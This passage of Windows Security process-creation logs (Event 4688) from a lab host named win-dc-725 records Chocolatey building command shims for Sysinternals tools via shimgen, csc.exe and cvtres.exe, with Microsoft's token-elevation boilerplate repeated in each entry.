- -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246689 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb54 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246688 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Procmon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_3020\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_3020\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_3020\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_3020\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_3020\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246687 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4fc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdb4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246686 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Procmon.exe" --output="C:\ProgramData\chocolatey\bin\Procmon.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Procmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246685 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf18 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe08 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEBF1.tmp" "c:\ProgramData\chocolatey\bin\CSC4DBB98E65C5A4C6497E56F5E08AE21C.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246684 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8d0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe08 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246683 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe08 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x994 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\procexp64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_0677\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_0677\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_0677\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_0677\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_0677\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246729 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x36c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc0c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246728 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc0c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsInfo.exe" --output="C:\ProgramData\chocolatey\bin\PsInfo.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsInfo.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246727 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x990 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x488 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF2D7.tmp" "c:\ProgramData\chocolatey\bin\CSC59B005E4CAF840BB898919556B6C8080.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246726 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x488 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246725 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x488 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x86c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsGetsid64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_8489\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123419_8489\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_8489\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_8489\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123419_8489\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246724 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x86c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246723 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x86c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsGetsid64.exe" --output="C:\ProgramData\chocolatey\bin\PsGetsid64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsGetsid64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246722 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xda8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF1FC.tmp" "c:\ProgramData\chocolatey\bin\CSCE598D1902EC54D898A4C2DDEBEC989C.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246721 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0xdf8 - New Process Name: C:\Windows\System32\msdtc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x34c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\msdtc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246720 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xda8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246719 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xce0 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ 